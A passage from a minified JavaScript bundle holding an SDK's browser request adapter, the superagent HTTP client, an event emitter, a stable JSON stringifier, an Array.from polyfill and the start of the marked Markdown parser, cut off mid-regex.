n=t.version,r=t.status,i=t.url,o=t.activatedAt,s=t.deactivatedAt;return{statisticName:e.statisticName,version:n,status:r,url:i,activatedAt:f(o.iso),deactivatedAt:f(s.iso)}})})}})},function(e,t,n){"use strict";var r=n(166);e.exports=function(e){return e.setAdapters(r),e}},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r=n(167);t.request=r.request,t.upload=r.upload,t.storage=window.localStorage,t.WebSocket=window.WebSocket,t.platformInfo={name:"Browser"}},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r=n(168);t.request=function(e,t){void 0===t&&(t={});var n=t.method,i=void 0===n?"GET":n,o=t.data,s=t.headers,a=t.onprogress,u=r(i,e);return s&&u.set(s),a&&u.on("progress",a),u.send(o).catch(function(e){if(e.response)return e.response;throw e}).then(function(e){return{status:e.status,ok:e.ok,headers:e.header,data:e.body}})},t.upload=function(e,t,n){void 0===n&&(n={});var i=n.data,o=n.headers,s=n.onprogress,a=r("POST",e).attach(t.field,t.data,t.name);return i&&a.field(i),o&&a.set(o),s&&a.on("progress",s),a.catch(function(e){if(e.response)return e.response;throw e}).then(function(e){return{status:e.status,ok:e.ok,headers:e.header,data:e.body}})}},function(e,t,n){"use strict";function r(e){return e&&e.__esModule?e:{default:e}}function i(e){return(i="function"==typeof b.default&&"symbol"===(0,_.default)(g.default)?function(e){return void 0===e?"undefined":(0,_.default)(e)}:function(e){return e&&"function"==typeof b.default&&e.constructor===b.default&&e!==b.default.prototype?"symbol":void 0===e?"undefined":(0,_.default)(e)})(e)}function o(){}function s(e){if(!k(e))return e;var t=[];for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&a(t,n,e[n]);return t.join("&")}function a(e,t,n){if(void 0!==n){if(null===n)return void e.push(encodeURI(t));if(Array.isArray(n))n.forEach(function(n){a(e,t,n)});else if(k(n))for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&a(e,"".concat(t,"[").concat(r,"]"),n[r]);else e.push(encodeURI(t)+"="+encodeURIComponent(n))}}function u(e){for(var t,n,r={},i=e.split("&"),o=0,s=i.length;o<s;++o)t=i[o],n=t.indexOf("="),-1===n?r[decodeURIComponent(t)]="":r[decodeURIComponent(t.slice(0,n))]=decodeURIComponent(t.slice(n+1));return r}function c(e){for(var t,n,r,i,o=e.split(/\r?\n/),s={},a=0,u=o.length;a<u;++a)n=o[a],-1!==(t=n.indexOf(":"))&&(r=n.slice(0,t).toLowerCase(),i=C(n.slice(t+1)),s[r]=i);return s}function l(e){return/[\/+]json($|[^-\w])/.test(e)}function f(e){this.req=e,this.xhr=this.req.xhr,this.text="HEAD"!==this.req.method&&(""===this.xhr.responseType||"text"===this.xhr.responseType)||void 0===this.xhr.responseType?this.xhr.responseText:null,this.statusText=this.req.xhr.statusText;var t=this.xhr.status;1223===t&&(t=204),this._setStatusProperties(t),this.headers=c(this.xhr.getAllResponseHeaders()),this.header=this.headers,this.header["content-type"]=this.xhr.getResponseHeader("content-type"),this._setHeaderProperties(this.header),null===this.text&&e._responseType?this.body=this.xhr.response:this.body="HEAD"===this.req.method?null:this._parseBody(this.text?this.text:this.xhr.response)}function h(e,t){var n=this;this._query=this._query||[],this.method=e,this.url=t,this.header={},this._header={},this.on("end",function(){var e=null,t=null;try{t=new f(n)}catch(t){return e=new Error("Parser is unable to parse the response"),e.parse=!0,e.original=t,n.xhr?(e.rawResponse=void 0===n.xhr.responseType?n.xhr.responseText:n.xhr.response,e.status=n.xhr.status?n.xhr.status:null,e.statusCode=e.status):(e.rawResponse=null,e.status=null),n.callback(e)}n.emit("response",t);var r;try{n._isResponseOK(t)||(r=new Error(t.statusText||t.text||"Unsuccessful HTTP response"))}catch(e){r=e}r?(r.original=e,r.response=t,r.status=t.status,n.callback(r,t)):n.callback(null,t)})}function d(e,t,n){var r=E("DELETE",e);return"function"==typeof t&&(n=t,t=null),t&&r.send(t),n&&r.end(n),r}var p,v=n(34),g=r(v),m=n(28),_=r(m),y=n(35),b=r(y);"undefined"!=typeof window?p=window:"undefined"==typeof self?(console.warn("Using browser-only version of superagent in non-browser environment"),p=void 0):p=self;var w=n(169),x=n(170),A=n(171),k=n(80),O=n(172),S=n(174);e.exports=function(e,n){return"function"==typeof n?new t.Request("GET",e).end(n):1===arguments.length?new t.Request("GET",e):new t.Request(e,n)},t=e.exports;var E=t;t.Request=h,E.getXHR=function(){if(p.XMLHttpRequest&&(!p.location||"file:"!==p.location.protocol||!p.ActiveXObject))return new XMLHttpRequest;try{return new ActiveXObject("Microsoft.XMLHTTP")}catch(e){}try{return new ActiveXObject("Msxml2.XMLHTTP.6.0")}catch(e){}try{return new ActiveXObject("Msxml2.XMLHTTP.3.0")}catch(e){}try{return new ActiveXObject("Msxml2.XMLHTTP")}catch(e){}throw new Error("Browser-only version of superagent could not find XHR")};var C="".trim?function(e){return e.trim()}:function(e){return e.replace(/(^\s*|\s*$)/g,"")};E.serializeObject=s,E.parseString=u,E.types={html:"text/html",json:"application/json",xml:"text/xml",urlencoded:"application/x-www-form-urlencoded",form:"application/x-www-form-urlencoded","form-data":"application/x-www-form-urlencoded"},E.serialize={"application/x-www-form-urlencoded":s,"application/json":x},E.parse={"application/x-www-form-urlencoded":u,"application/json":JSON.parse},O(f.prototype),f.prototype._parseBody=function(e){var t=E.parse[this.type];return this.req._parser?this.req._parser(this,e):(!t&&l(this.type)&&(t=E.parse["application/json"]),t&&e&&(e.length>0||e instanceof Object)?t(e):null)},f.prototype.toError=function(){var e=this.req,t=e.method,n=e.url,r="cannot ".concat(t," ").concat(n," (").concat(this.status,")"),i=new Error(r);return i.status=this.status,i.method=t,i.url=n,i},E.Response=f,w(h.prototype),A(h.prototype),h.prototype.type=function(e){return this.set("Content-Type",E.types[e]||e),this},h.prototype.accept=function(e){return this.set("Accept",E.types[e]||e),this},h.prototype.auth=function(e,t,n){1===arguments.length&&(t=""),"object"===i(t)&&null!==t&&(n=t,t=""),n||(n={type:"function"==typeof btoa?"basic":"auto"});var r=function(e){if("function"==typeof btoa)return btoa(e);throw new Error("Cannot use basic auth, btoa is not a function")};return this._auth(e,t,n,r)},h.prototype.query=function(e){return"string"!=typeof e&&(e=s(e)),e&&this._query.push(e),this},h.prototype.attach=function(e,t,n){if(t){if(this._data)throw new Error("superagent can't mix .send() and .attach()");this._getFormData().append(e,t,n||t.name)}return this},h.prototype._getFormData=function(){return this._formData||(this._formData=new p.FormData),this._formData},h.prototype.callback=function(e,t){if(this._shouldRetry(e,t))return this._retry();var n=this._callback;this.clearTimeout(),e&&(this._maxRetries&&(e.retries=this._retries-1),this.emit("error",e)),n(e,t)},h.prototype.crossDomainError=function(){var e=new Error("Request has been terminated\nPossible causes: the network is offline, Origin is not allowed by Access-Control-Allow-Origin, the page is being unloaded, etc.");e.crossDomain=!0,e.status=this.status,e.method=this.method,e.url=this.url,this.callback(e)},h.prototype.agent=function(){return console.warn("This is not supported in browser version of superagent"),this},h.prototype.ca=h.prototype.agent,h.prototype.buffer=h.prototype.ca,h.prototype.write=function(){throw new Error("Streaming is not supported in browser version of superagent")},h.prototype.pipe=h.prototype.write,h.prototype._isHost=function(e){return e&&"object"===i(e)&&!Array.isArray(e)&&"[object Object]"!==Object.prototype.toString.call(e)},h.prototype.end=function(e){this._endCalled&&console.warn("Warning: .end() was called twice. This is not supported in superagent"),this._endCalled=!0,this._callback=e||o,this._finalizeQueryString(),this._end()},h.prototype._setUploadTimeout=function(){var e=this;this._uploadTimeout&&!this._uploadTimeoutTimer&&(this._uploadTimeoutTimer=setTimeout(function(){e._timeoutError("Upload timeout of ",e._uploadTimeout,"ETIMEDOUT")},this._uploadTimeout))},h.prototype._end=function(){if(this._aborted)return this.callback(new Error("The request has been aborted even before .end() was called"));var e=this;this.xhr=E.getXHR();var t=this.xhr,n=this._formData||this._data;this._setTimeouts(),t.onreadystatechange=function(){var n=t.readyState;if(n>=2&&e._responseTimeoutTimer&&clearTimeout(e._responseTimeoutTimer),4===n){var r;try{r=t.status}catch(e){r=0}if(!r){if(e.timedout||e._aborted)return;return e.crossDomainError()}e.emit("end")}};var r=function(t,n){n.total>0&&(n.percent=n.loaded/n.total*100,100===n.percent&&clearTimeout(e._uploadTimeoutTimer)),n.direction=t,e.emit("progress",n)};if(this.hasListeners("progress"))try{t.addEventListener("progress",r.bind(null,"download")),t.upload&&t.upload.addEventListener("progress",r.bind(null,"upload"))}catch(e){}t.upload&&this._setUploadTimeout();try{this.username&&this.password?t.open(this.method,this.url,!0,this.username,this.password):t.open(this.method,this.url,!0)}catch(e){return this.callback(e)}if(this._withCredentials&&(t.withCredentials=!0),!this._formData&&"GET"!==this.method&&"HEAD"!==this.method&&"string"!=typeof n&&!this._isHost(n)){var i=this._header["content-type"],o=this._serializer||E.serialize[i?i.split(";")[0]:""];!o&&l(i)&&(o=E.serialize["application/json"]),o&&(n=o(n))}for(var s in this.header)null!==this.header[s]&&Object.prototype.hasOwnProperty.call(this.header,s)&&t.setRequestHeader(s,this.header[s]);this._responseType&&(t.responseType=this._responseType),this.emit("request",this),t.send(void 0===n?null:n)},E.agent=function(){return new S},["GET","POST","OPTIONS","PATCH","PUT","DELETE"].forEach(function(e){S.prototype[e.toLowerCase()]=function(t,n){var r=new E.Request(e,t);return this._setDefaults(r),n&&r.end(n),r}}),S.prototype.del=S.prototype.delete,E.get=function(e,t,n){var r=E("GET",e);return"function"==typeof t&&(n=t,t=null),t&&r.query(t),n&&r.end(n),r},E.head=function(e,t,n){var r=E("HEAD",e);return"function"==typeof t&&(n=t,t=null),t&&r.query(t),n&&r.end(n),r},E.options=function(e,t,n){var r=E("OPTIONS",e);return"function"==typeof t&&(n=t,t=null),t&&r.send(t),n&&r.end(n),r},E.del=d,E.delete=d,E.patch=function(e,t,n){var r=E("PATCH",e);return"function"==typeof t&&(n=t,t=null),t&&r.send(t),n&&r.end(n),r},E.post=function(e,t,n){var r=E("POST",e);return"function"==typeof t&&(n=t,t=null),t&&r.send(t),n&&r.end(n),r},E.put=function(e,t,n){var r=E("PUT",e);return"function"==typeof t&&(n=t,t=null),t&&r.send(t),n&&r.end(n),r}},function(e,t,n){function r(e){if(e)return i(e)}function i(e){for(var t in r.prototype)e[t]=r.prototype[t];return e}e.exports=r,r.prototype.on=r.prototype.addEventListener=function(e,t){return this._callbacks=this._callbacks||{},(this._callbacks["$"+e]=this._callbacks["$"+e]||[]).push(t),this},r.prototype.once=function(e,t){function n(){this.off(e,n),t.apply(this,arguments)}return n.fn=t,this.on(e,n),this},r.prototype.off=r.prototype.removeListener=r.prototype.removeAllListeners=r.prototype.removeEventListener=function(e,t){if(this._callbacks=this._callbacks||{},0==arguments.length)return this._callbacks={},this;var n=this._callbacks["$"+e];if(!n)return this;if(1==arguments.length)return delete this._callbacks["$"+e],this;for(var r,i=0;i<n.length;i++)if((r=n[i])===t||r.fn===t){n.splice(i,1);break}return 0===n.length&&delete this._callbacks["$"+e],this},r.prototype.emit=function(e){this._callbacks=this._callbacks||{};for(var t=new Array(arguments.length-1),n=this._callbacks["$"+e],r=1;r<arguments.length;r++)t[r-1]=arguments[r];if(n){n=n.slice(0);for(var r=0,i=n.length;r<i;++r)n[r].apply(this,t)}return this},r.prototype.listeners=function(e){return this._callbacks=this._callbacks||{},this._callbacks["$"+e]||[]},r.prototype.hasListeners=function(e){return!!this.listeners(e).length}},function(e,t){function n(e,t,n){r(e,"",[],void 0);var i;for(i=0===c.length?JSON.stringify(e,t,n):JSON.stringify(e,a(t),n);0!==u.length;){var o=u.pop();4===o.length?Object.defineProperty(o[0],o[1],o[3]):o[0][o[1]]=o[2]}return i}function r(e,t,n,i){var o;if("object"==typeof e&&null!==e){for(o=0;o<n.length;o++)if(n[o]===e){var s=Object.getOwnPropertyDescriptor(i,t);return void(void 0!==s.get?s.configurable?(Object.defineProperty(i,t,{value:"[Circular]"}),u.push([i,t,e,s])):c.push([e,t]):(i[t]="[Circular]",u.push([i,t,e])))}if(n.push(e),Array.isArray(e))for(o=0;o<e.length;o++)r(e[o],o,n,e);else{var a=Object.keys(e);for(o=0;o<a.length;o++){var l=a[o];r(e[l],l,n,e)}}n.pop()}}function i(e,t){return e<t?-1:e>t?1:0}function o(e,t,n){var r,i=s(e,"",[],void 0)||e;for(r=0===c.length?JSON.stringify(i,t,n):JSON.stringify(i,a(t),n);0!==u.length;){var o=u.pop();4===o.length?Object.defineProperty(o[0],o[1],o[3]):o[0][o[1]]=o[2]}return r}function s(e,t,n,r){var o;if("object"==typeof e&&null!==e){for(o=0;o<n.length;o++)if(n[o]===e){var a=Object.getOwnPropertyDescriptor(r,t);return void(void 0!==a.get?a.configurable?(Object.defineProperty(r,t,{value:"[Circular]"}),u.push([r,t,e,a])):c.push([e,t]):(r[t]="[Circular]",u.push([r,t,e])))}if("function"==typeof e.toJSON)return;if(n.push(e),Array.isArray(e))for(o=0;o<e.length;o++)s(e[o],o,n,e);else{var l={},f=Object.keys(e).sort(i);for(o=0;o<f.length;o++){var h=f[o];s(e[h],h,n,e),l[h]=e[h]}if(void 0===r)return l;u.push([r,t,e]),r[t]=l}n.pop()}}function a(e){return e=void 0!==e?e:function(e,t){return t},function(t,n){if(c.length>0)for(var r=0;r<c.length;r++){var i=c[r];if(i[1]===t&&i[0]===n){n="[Circular]",c.splice(r,1);break}}return e.call(this,t,n)}}e.exports=n,n.default=n,n.stable=o,n.stableStringify=o;var u=[],c=[]},function(e,t,n){"use strict";function r(e){return e&&e.__esModule?e:{default:e}}function i(e){return(i="function"==typeof p.default&&"symbol"===(0,h.default)(l.default)?function(e){return void 0===e?"undefined":(0,h.default)(e)}:function(e){return e&&"function"==typeof p.default&&e.constructor===p.default&&e!==p.default.prototype?"symbol":void 0===e?"undefined":(0,h.default)(e)})(e)}function o(e){if(e)return s(e)}function s(e){for(var t in o.prototype)Object.prototype.hasOwnProperty.call(o.prototype,t)&&(e[t]=o.prototype[t]);return e}var a=n(2),u=r(a),c=n(34),l=r(c),f=n(28),h=r(f),d=n(35),p=r(d),v=n(80);e.exports=o,o.prototype.clearTimeout=function(){return clearTimeout(this._timer),clearTimeout(this._responseTimeoutTimer),clearTimeout(this._uploadTimeoutTimer),delete this._timer,delete this._responseTimeoutTimer,delete this._uploadTimeoutTimer,this},o.prototype.parse=function(e){return this._parser=e,this},o.prototype.responseType=function(e){return this._responseType=e,this},o.prototype.serialize=function(e){return this._serializer=e,this},o.prototype.timeout=function(e){if(!e||"object"!==i(e))return this._timeout=e,this._responseTimeout=0,this._uploadTimeout=0,this;for(var t in e)if(Object.prototype.hasOwnProperty.call(e,t))switch(t){case"deadline":this._timeout=e.deadline;break;case"response":this._responseTimeout=e.response;break;case"upload":this._uploadTimeout=e.upload;break;default:console.warn("Unknown timeout option",t)}return this},o.prototype.retry=function(e,t){return 0!==arguments.length&&!0!==e||(e=1),e<=0&&(e=0),this._maxRetries=e,this._retries=0,this._retryCallback=t,this};var g=["ECONNRESET","ETIMEDOUT","EADDRINFO","ESOCKETTIMEDOUT"];o.prototype._shouldRetry=function(e,t){if(!this._maxRetries||this._retries++>=this._maxRetries)return!1;if(this._retryCallback)try{var n=this._retryCallback(e,t);if(!0===n)return!0;if(!1===n)return!1}catch(e){console.error(e)}if(t&&t.status&&t.status>=500&&501!==t.status)return!0;if(e){if(e.code&&g.includes(e.code))return!0;if(e.timeout&&"ECONNABORTED"===e.code)return!0;if(e.crossDomain)return!0}return!1},o.prototype._retry=function(){return this.clearTimeout(),this.req&&(this.req=null,this.req=this.request()),this._aborted=!1,this.timedout=!1,this.timedoutError=null,this._end()},o.prototype.then=function(e,t){var n=this;if(!this._fullfilledPromise){var r=this;this._endCalled&&console.warn("Warning: superagent request was sent twice, because both .end() and .then() were called. Never call .end() if you use promises"),this._fullfilledPromise=new u.default(function(e,t){r.on("abort",function(){if(n.timedout&&n.timedoutError)return void t(n.timedoutError);var e=new Error("Aborted");e.code="ABORTED",e.status=n.status,e.method=n.method,e.url=n.url,t(e)}),r.end(function(n,r){n?t(n):e(r)})})}return this._fullfilledPromise.then(e,t)},o.prototype.catch=function(e){return this.then(void 0,e)},o.prototype.use=function(e){return e(this),this},o.prototype.ok=function(e){if("function"!=typeof e)throw new Error("Callback required");return this._okCallback=e,this},o.prototype._isResponseOK=function(e){return!!e&&(this._okCallback?this._okCallback(e):e.status>=200&&e.status<300)},o.prototype.get=function(e){return this._header[e.toLowerCase()]},o.prototype.getHeader=o.prototype.get,o.prototype.set=function(e,t){if(v(e)){for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&this.set(n,e[n]);return this}return this._header[e.toLowerCase()]=t,this.header[e]=t,this},o.prototype.unset=function(e){return delete this._header[e.toLowerCase()],delete this.header[e],this},o.prototype.field=function(e,t){if(null===e||void 0===e)throw new Error(".field(name, val) name can not be empty");if(this._data)throw new Error(".field() can't be used if .send() is used. Please use only .send() or only .field() & .attach()");if(v(e)){for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&this.field(n,e[n]);return this}if(Array.isArray(t)){for(var r in t)Object.prototype.hasOwnProperty.call(t,r)&&this.field(e,t[r]);return this}if(null===t||void 0===t)throw new Error(".field(name, val) val can not be empty");return"boolean"==typeof t&&(t=String(t)),this._getFormData().append(e,t),this},o.prototype.abort=function(){return this._aborted?this:(this._aborted=!0,this.xhr&&this.xhr.abort(),this.req&&this.req.abort(),this.clearTimeout(),this.emit("abort"),this)},o.prototype._auth=function(e,t,n,r){switch(n.type){case"basic":this.set("Authorization","Basic ".concat(r("".concat(e,":").concat(t))));break;case"auto":this.username=e,this.password=t;break;case"bearer":this.set("Authorization","Bearer ".concat(e))}return this},o.prototype.withCredentials=function(e){return void 0===e&&(e=!0),this._withCredentials=e,this},o.prototype.redirects=function(e){return this._maxRedirects=e,this},o.prototype.maxResponseSize=function(e){if("number"!=typeof e)throw new TypeError("Invalid argument");return this._maxResponseSize=e,this},o.prototype.toJSON=function(){return{method:this.method,url:this.url,data:this._data,headers:this._header}},o.prototype.send=function(e){var t=v(e),n=this._header["content-type"];if(this._formData)throw new Error(".send() can't be used if .attach() or .field() is used. Please use only .send() or only .field() & .attach()");if(t&&!this._data)Array.isArray(e)?this._data=[]:this._isHost(e)||(this._data={});else if(e&&this._data&&this._isHost(this._data))throw new Error("Can't merge these send calls");if(t&&v(this._data))for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(this._data[r]=e[r]);else"string"==typeof e?(n||this.type("form"),n=this._header["content-type"],this._data="application/x-www-form-urlencoded"===n?this._data?"".concat(this._data,"&").concat(e):e:(this._data||"")+e):this._data=e;return!t||this._isHost(e)?this:(n||this.type("json"),this)},o.prototype.sortQuery=function(e){return this._sort=void 0===e||e,this},o.prototype._finalizeQueryString=function(){var e=this._query.join("&");if(e&&(this.url+=(this.url.includes("?")?"&":"?")+e),this._query.length=0,this._sort){var t=this.url.indexOf("?");if(t>=0){var n=this.url.slice(t+1).split("&");"function"==typeof this._sort?n.sort(this._sort):n.sort(),this.url=this.url.slice(0,t)+"?"+n.join("&")}}},o.prototype._appendQueryString=function(){console.warn("Unsupported")},o.prototype._timeoutError=function(e,t,n){if(!this._aborted){var r=new Error("".concat(e+t,"ms exceeded"));r.timeout=t,r.code="ECONNABORTED",r.errno=n,this.timedout=!0,this.timedoutError=r,this.abort(),this.callback(r)}},o.prototype._setTimeouts=function(){var e=this;this._timeout&&!this._timer&&(this._timer=setTimeout(function(){e._timeoutError("Timeout of ",e._timeout,"ETIME")},this._timeout)),this._responseTimeout&&!this._responseTimeoutTimer&&(this._responseTimeoutTimer=setTimeout(function(){e._timeoutError("Response timeout of ",e._responseTimeout,"ETIMEDOUT")},this._responseTimeout))}},function(e,t,n){"use strict";function r(e){if(e)return i(e)}function i(e){for(var t in r.prototype)Object.prototype.hasOwnProperty.call(r.prototype,t)&&(e[t]=r.prototype[t]);return e}var o=n(173);e.exports=r,r.prototype.get=function(e){return this.header[e.toLowerCase()]},r.prototype._setHeaderProperties=function(e){var t=e["content-type"]||"";this.type=o.type(t);var n=o.params(t);for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(this[r]=n[r]);this.links={};try{e.link&&(this.links=o.parseLinks(e.link))}catch(e){}},r.prototype._setStatusProperties=function(e){var t=e/100|0;this.statusCode=e,this.status=this.statusCode,this.statusType=t,this.info=1===t,this.ok=2===t,this.redirect=3===t,this.clientError=4===t,this.serverError=5===t,this.error=(4===t||5===t)&&this.toError(),this.created=201===e,this.accepted=202===e,this.noContent=204===e,this.badRequest=400===e,this.unauthorized=401===e,this.notAcceptable=406===e,this.forbidden=403===e,this.notFound=404===e,this.unprocessableEntity=422===e}},function(e,t,n){"use strict";t.type=function(e){return e.split(/ *; */).shift()},t.params=function(e){return e.split(/ *; */).reduce(function(e,t){var n=t.split(/ *= */),r=n.shift(),i=n.shift();return r&&i&&(e[r]=i),e},{})},t.parseLinks=function(e){return e.split(/ *, */).reduce(function(e,t){var n=t.split(/ *; */),r=n[0].slice(1,-1);return e[n[1].split(/ *= */)[1].slice(1,-1)]=r,e},{})},t.cleanHeader=function(e,t){return delete e["content-type"],delete e["content-length"],delete e["transfer-encoding"],delete e.host,t&&(delete e.authorization,delete e.cookie),e}},function(e,t,n){"use strict";function r(e){return e&&e.__esModule?e:{default:e}}function i(e){return a(e)||s(e)||o()}function o(){throw new TypeError("Invalid attempt to spread non-iterable instance")}function s(e){if((0,h.default)(Object(e))||"[object Arguments]"===Object.prototype.toString.call(e))return(0,l.default)(e)}function a(e){if(Array.isArray(e)){for(var t=0,n=new Array(e.length);t<e.length;t++)n[t]=e[t];return n}}function u(){this._defaults=[]}var c=n(175),l=r(c),f=n(79),h=r(f);["use","on","once","set","query","type","accept","auth","withCredentials","sortQuery","retry","ok","redirects","timeout","buffer","serialize","parse","ca","key","pfx","cert","disableTLSCerts"].forEach(function(e){u.prototype[e]=function(){for(var t=arguments.length,n=new Array(t),r=0;r<t;r++)n[r]=arguments[r];return this._defaults.push({fn:e,args:n}),this}}),u.prototype._setDefaults=function(e){this._defaults.forEach(function(t){e[t.fn].apply(e,i(t.args))})},e.exports=u},function(e,t,n){e.exports={default:n(176),__esModule:!0}},function(e,t,n){n(21),n(177),e.exports=n(1).Array.from},function(e,t,n){"use strict";var r=n(23),i=n(10),o=n(27),s=n(60),a=n(61),u=n(40),c=n(178),l=n(45);i(i.S+i.F*!n(66)(function(e){Array.from(e)}),"Array",{from:function(e){var t,n,i,f,h=o(e),d="function"==typeof this?this:Array,p=arguments.length,v=p>1?arguments[1]:void 0,g=void 0!==v,m=0,_=l(h);if(g&&(v=r(v,p>2?arguments[2]:void 0,2)),void 0==_||d==Array&&a(_))for(t=u(h.length),n=new d(t);t>m;m++)c(n,m,g?v(h[m],m):h[m]);else for(f=_.call(h),n=new d;!(i=f.next()).done;m++)c(n,m,g?s(f,v,[i.value,m],!0):i.value);return n.length=m,n}})},function(e,t,n){"use strict";var r=n(7),i=n(25);e.exports=function(e,t,n){t in e?r.f(e,t,i(0,n)):e[t]=n}}])})}).call(t,n(16))},function(e,t,n){(function(t){!function(t){"use strict";function n(e){this.tokens=[],this.tokens.links=Object.create(null),this.options=e||_.defaults,this.rules=y.normal,this.options.pedantic?this.rules=y.pedantic:this.options.gfm&&(this.options.tables?this.rules=y.tables:this.rules=y.gfm)}function r(e,t){if(this.options=t||_.defaults,this.links=e,this.rules=b.normal,this.renderer=this.options.renderer||new i,this.renderer.options=this.options,!this.links)throw new Error("Tokens array requires a `links` property.");this.options.pedantic?this.rules=b.pedantic:this.options.gfm&&(this.options.breaks?this.rules=b.breaks:this.rules=b.gfm)}function i(e){this.options=e||_.defaults}function o(){}function s(e){this.tokens=[],this.token=null,this.options=e||_.defaults,this.options.renderer=this.options.renderer||new i,this.renderer=this.options.renderer,this.renderer.options=this.options,this.slugger=new a}function a(){this.seen={}}function u(e,t){if(t){if(u.escapeTest.test(e))return e.replace(u.escapeReplace,function(e){return u.replacements[e]})}else if(u.escapeTestNoEncode.test(e))return e.replace(u.escapeReplaceNoEncode,function(e){return u.replacements[e]});return e}function c(e){return e.replace(/&(#(?:\d+)|(?:#x[0-9A-Fa-f]+)|(?:\w+));?/gi,function(e,t){return t=t.toLowerCase(),"colon"===t?":":"#"===t.charAt(0)?"x"===t.charAt(1)?String.fromCharCode(parseInt(t.substring(2),16)):String.fromCharCode(+t.substring(1)):""})}function l(e,t){return e=e.source||e,t=t||"",{replace:function(t,n){return n=n.source||n,n=n.replace(/(^|[^\[])\^/g,"$1"),e=e.replace(t,n),this},getRegex:function(){return new RegExp(e,t)}}}function f(e,t,n){if(e){try{var r=decodeURIComponent(c(n)).replace(/[^\w:]/g,"").toLowerCase()}catch(e){return null}if(0===r.indexOf("javascript:")||0===r.indexOf("vbscript:")||0===r.indexOf("data:"))return null}t&&!x.test(n)&&(n=h(t,n));try{n=encodeURI(n).replace(/%25/g,"%")}catch(e){return null}return n}function h(e,t){return w[" "+e]||(/^[^:]+:\/*[^\/]*$/.test(e)?w[" "+e]=e+"/":w[" "+e]=g(e,"/",!0)),e=w[" "+e],"//"===t.slice(0,2)?e.replace(/:[\s\S]*/,":")+t:"/"===t.charAt(0)?e.replace(/(:\/*[^\/]*)[\s\S]*/,"$1")+t:e+t}function d(){}function p(e){for(var t,n,r=1;r<arguments.length;r++){t=arguments[r];for(n in t)Object.prototype.hasOwnProperty.call(t,n)&&(e[n]=t[n])}return e}function v(e,t){var n=e.replace(/\|/g,function(e,t,n){for(var r=!1,i=t;--i>=0&&"\\"===n[i];)r=!r;return r?"|":" |"}),r=n.split(/ \|/),i=0;if(r.length>t)r.splice(t);else for(;r.length<t;)r.push("");for(;i<r.length;i++)r[i]=r[i].trim().replace(/\\\|/g,"|");return r}function g(e,t,n){if(0===e.length)return"";for(var r=0;r<e.length;){var i=e.charAt(e.length-r-1);if(i!==t||n){if(i===t||!n)break;r++}else r++}return e.substr(0,e.length-r)}function m(e,t){if(-1===e.indexOf(t[1]))return-1;for(var n=0,r=0;r<e.length;r++)if("\\"===e[r])r++;else if(e[r]===t[0])n++;else if(e[r]===t[1]&&--n<0)return r;return-1}function _(e,t,r){if(void 0===e||null===e)throw new Error("marked(): input parameter is undefined or null");if("string"!=typeof e)throw new Error("marked(): input parameter is of type "+Object.prototype.toString.call(e)+", string expected");if(r||"function"==typeof t){r||(r=t,t=null),t=p({},_.defaults,t||{});var i,o,a=t.highlight,c=0;try{i=n.lex(e,t)}catch(e){return r(e)}o=i.length;var l=function(e){if(e)return t.highlight=a,r(e);var n;try{n=s.parse(i,t)}catch(t){e=t}return t.highlight=a,e?r(e):r(null,n)};if(!a||a.length<3)return l();if(delete t.highlight,!o)return l();for(;c<i.length;c++)!function(e){"code"!==e.type?--o||l():a(e.text,e.lang,function(t,n){return t?l(t):null==n||n===e.text?--o||l():(e.text=n,e.escaped=!0,void(--o||l()))})}(i[c])}else try{return t&&(t=p({},_.defaults,t)),s.parse(n.lex(e,t),t)}catch(e){if(e.message+="\nPlease report this to https://github.com/markedjs/marked.",(t||_.defaults).silent)return"<p>An error occurred:</p><pre>"+u(e.message+"",!0)+"</pre>";throw e}}var y={newline:/^\n+/,code:/^( {4}[^\n]+\n*)+/,fences:d,hr:/^ {0,3}((?:- *){3,}|(?:_ *){3,}|(?:\* *){3,})(?:\n+|$)/,heading:/^ *(#{1,6}) *([^\n]+?) *(?:#+ *)?(?:\n+|$)/,nptable:d,blockquote:/^( {0,3}> ?(paragraph|[^\n]*)(?:\n|$))+/,list:/^( {0,3})(bull) [\s\S]+?(?:hr|def|\n{2,}(?! )(?!\1bull )\n*|\s*$)/,html:"^ {0,3}(?:<(script|pre|style)[\\s>][\\s\\S]*?(?:</\\1>[^\\n]*\\n+|$)|comment[^\\n]*(\\n+|$)|<\\?[\\s\\S]*?\\?>\\n*|<![A-Z][\\s\\S]*?>\\n*|<!\\[CDATA\\[[\\s\\S]*?\\]\\]>\\n*|</?(tag)(?: +|\\n|/?>)[\\s\\S]*?(?:\\n{2,}|$)|<(?!script|pre|style)([a-z][\\w-]*)(?:attribute)*? */?>(?=\\h*\\n)[\\s\\S]*?(?:\\n{2,}|$)|</(?!script|pre|style)[a-z][\\w-]*\\s*>(?=\\h*\\n)[\\s\\S]*?(?:\\n{2,}|$))",def:/^ {0,3}\[(label)\]: *\n? *<?([^\s>]+)>?(?:(?: +\n? *| *\n *)(title))? *(?:\n+|$)/,table:d,lheading:/^([^\n]+)\n *(=|-){2,} *(?:\n+|$)/,paragraph:/^([^\n]+(?:\n(?!hr|heading|lheading| {0,3}>|<\/?(?:tag)(?: +|\n|\/?>)|<(?:script|pre|style|!--))[^\n]+)*)/,text:/^[^\n]+/};y._label=/(?!\s*\])(?:\\[\[\]]|[^\[\]])+/,y._title=/(?:"(?:\\"?|[^"\\])*"|'[^'\n]*(?:\n[^'\n]+)*\n?'|\([^()]*\))/,y.def=l(y.def).replace("label",y._label).replace("title",y._title).getRegex(),y.bullet=/(?:[*+-]|\d{1,9}\.)/,y.item=/^( *)(bull) ?[^\n]*(?:\n(?!\1bull ?)[^\n]*)*/,y.item=l(y.item,"gm").replace(/bull/g,y.bullet).getRegex(),y.list=l(y.list).replace(/bull/g,y.bullet).replace("hr","\\n+(?=\\1?(?:(?:- *){3,}|(?:_ *){3,}|(?:\\* 